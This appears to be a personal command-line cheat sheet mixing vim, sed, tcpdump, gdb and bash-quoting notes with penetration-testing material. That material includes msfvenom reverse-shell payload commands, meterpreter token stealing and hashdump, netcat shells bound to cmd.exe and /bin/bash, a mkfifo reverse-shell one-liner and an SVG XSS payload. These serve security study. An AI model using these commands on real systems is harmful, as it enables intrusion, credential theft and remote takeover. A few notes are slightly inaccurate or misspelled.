:%!grep -v foo # Filter out unwanted lines

:%!sort -u # Remove duplicates

| vim - # Send output to vim

.* # Repeat the last step
    *CTRL+v # Vertical selection
    *10x # Delete the 10 following characters

10dw # Delete the 10 following words

6dd # Delete 10 lines

$ sed '/.*?/ ! s/$/new_suffix/' in.txt > out.txt

$ find . -type f -exec mv {} . \; # finds all files and moves them to the root (mac tested).

• -sT TCP connect

• -sS Stealth scan

• -sP Ping

• -sL List Scan

• -sO Protocol

• -sV Probe open ports to determine service/version info

• -sL List scan

• -sY SCTP init scan, scans new protocol STCP that combines UDP and TCP

• -sA tcp ACK, open and closed ports will return RST, if firewall no reply sO IP protocol scan.

• -sT Connect scan

• -sA ACK scan

• -sW Window scan

• -sM Maimon scan

• -sU UDP Scan

• -sN TCP Null scan

• -p Specify ports, e.g. -p80,443 or -p1-65535

• -p U:PORT Scan UDP ports with Nmap, e.g. -p U:53

• -F Fast mode, scans fewer ports than the default scan

• -O Enable OS Detection

• -T[0-5] Timing. Higher is faster

• -f; --mtu VALUE Fragment packets (optionally w/given MTU)

• -D decoy1,decoy2,ME Cloak a scan with decoys

• -S IP-ADDRESS Spoof source address

• -e IFACE Use specified interface

• --badsum Send packets with a bogus TCP/UDP/SCTP checksum

• -A Enable OS detection, version detection, script scanning, and traceroute

• -P0 Do not ping first

$ nmap --script-updatedb

$ nmap -v -sU -sS -p- -A -T4 ip


$ 
ls /usr/share/nmap/scripts/* | grep ftp


$ service postgesql start; update-rc.d postgresql enable; msfconsole; db_rebuild_cache

• Entry point for the framework

$ msfconsole

> help

• against known vulnerabilities

> show exploits

• Search a specific product

> search vsftp

• Create a reverse shell, works for any format (php, asp, exe..):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f asp > shell.asp

• modules available (DoS tools, port scanning, fuzzers..)

> show auxiliary

> show payloads
> show options
> show targets

> use payload/bla
> set RHOST 192..
> run

• if you need the server to make a callback to you:

• set LHOST collaborator.net

• is the shell you get when you find RCE in a host.

> meterpeter

• > screenshot

• operating system version etc

> sysinfo

• tries to elevate privileges

> use priv

• Route all traffic to a specific IP through a session 2:

> route add 10.10.10.10 255.255.255.0 2

• Common payloads

generic/shell_reverse_tcp
        windows/meterpreter/reverse_tcp

• non interactive client.

$ mscli

• Create a meterpeter reverse shell (any language/format)

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f aspx > shell.aspx

• Listen for a reverse shell:

> set PAYLOAD windows/meterpreter/reverse_tcp

• Put session in background:

> background

• List sessions

> sessions -l

• Switch to session

> session -i 1

• Token stealing

> use incognito
>list_tokens -u

• >impersonate_token BOB\IWAM_BOB

• >ps

• >steal_token [PID]

• Search files:

> meterpeter search -f *pass*.txt

• Upload files

> upload local remote

• Invoke a command shell

> shell


• Get the hash from windows users:

> hashdump

$ nc -nlvp 4444

$ nc -nv 10.0.0.22 4444

$ nc -nlvp 4444 > incoming.exe

$ nc -nlvp 4444 -e cmd.exe

$ nc -nv 10.0.0.22 4444 -e /bin/bash

tcp.port == 21
ip.src == 10.43.54.65 or ip.dst == 10.43.54.65
ip.addr != 10.43.54.65

tcp.flags.syn == 1
tcp.flags.push == 1
tcp.flags.reset == 0

CRTL+F

tcp.seq == xxxx

$ tcpdump -r file.pcap # saves output to file.pcap

$ tcpdump -n src host 10.10.10.10 # saves packages from 10.10.10.10

$ tcpdump -n dst host 10.10.10.10 # saves packages to 10.10.10.10

$ tcpdump -n port 81 # saves packages where port 81 was involved

$ tcpdump port not 22 # skips your ssh session traffic

$ tcpdump -vv port 80 or port 443 # http and https traffic

• rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 1234 > /tmp/f

$ apt-get update; 
apt-get install openvas
 openvas-setup

netstat -tulpn


https://localhost:9392


print /d -> Decimal
print /t -> Binary
print /x -> Hex

(gdb) print /d $eax
$17 = 13

x/nyz (Examine)
n -> Number of fields to display ==>
y -> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z -> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

• $1 #hash type (1 md5), (5 sha256)

• mERr base 64 salt

• Q4J3cxRImm68KXqMDsLDs hashed salt + pass

$ find . -name watchdog.sh -exec sed -r -e 's/(^.*)-t 10 -i/-t 9 -i/g' {} \; # replace file contents

$ ssh -i key host

$ seq -f "192.168.1.10.%g" 1 255

$ while true ; do  echo -e "HTTP/1.1 301 Moved Permanently\r\nLocation: 127.0.0.1:22\r\n" | nc -vv -l -p 80  ; done

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE svg [<!ENTITY elem "">]>
    <svg onload="alert(document.domain);" height="16" width="16">&elem;</svg>

 # | Expression  | Result      | Comments
---+-------------+-------------+--------------------------------------------------------------------
 1 | "$a"        | apple       | variables are expanded inside ""
 2 | '$a'        | $a          | variables are not expanded inside ''
 3 | "'$a'"      | 'apple'     | '' has no special meaning inside ""
 4 | '"$a"'      | "$a"        | "" is treated literally inside ''
 5 | '\''        | **invalid** | can not escape a ' within ''; use "'" or $'\'' (ANSI-C quoting)
 6 | "red$arocks"| red         | $arocks does not expand $a; use ${a}rocks to preserve $a
 7 | "redapple$" | redapple$   | $ followed by no variable name evaluates to $
 8 | '\"'        | \"          | \ has no special meaning inside ''
 9 | "\'"        | '           | \' is interpreted inside ""
10 | "\""        | "           | \" is interpreted inside ""
11 | "*"         | *           | glob does not work inside "" or ''
12 | "\t\n"      | \t\n        | \t and \n have no special meaning inside "" or ''; use ANSI-C quoting
13 | "`echo hi`" | hi          | `` and $() are evaluated inside ""
14 | '`echo hi`' | `echo hi`   | `` and $() are not evaluated inside ''
15 | '${arr[0]}' | ${arr[0]}   | array access not possible inside ''
16 | "${arr[0]}" | apple       | array access works inside ""
17 | $'$a\''     | $a'         | single quotes can be escaped inside ANSI-C quoting
---+-------------+-------------+--------------------------------------------------------------------

$ awk ‘$9 ~ /404/ { print }’ access.log

$ awk -F':' '{ print $1}' /etc/passwd > users.txt

$ cat file | sort  | uniq -c | sort -n

$ grep -E -o regex file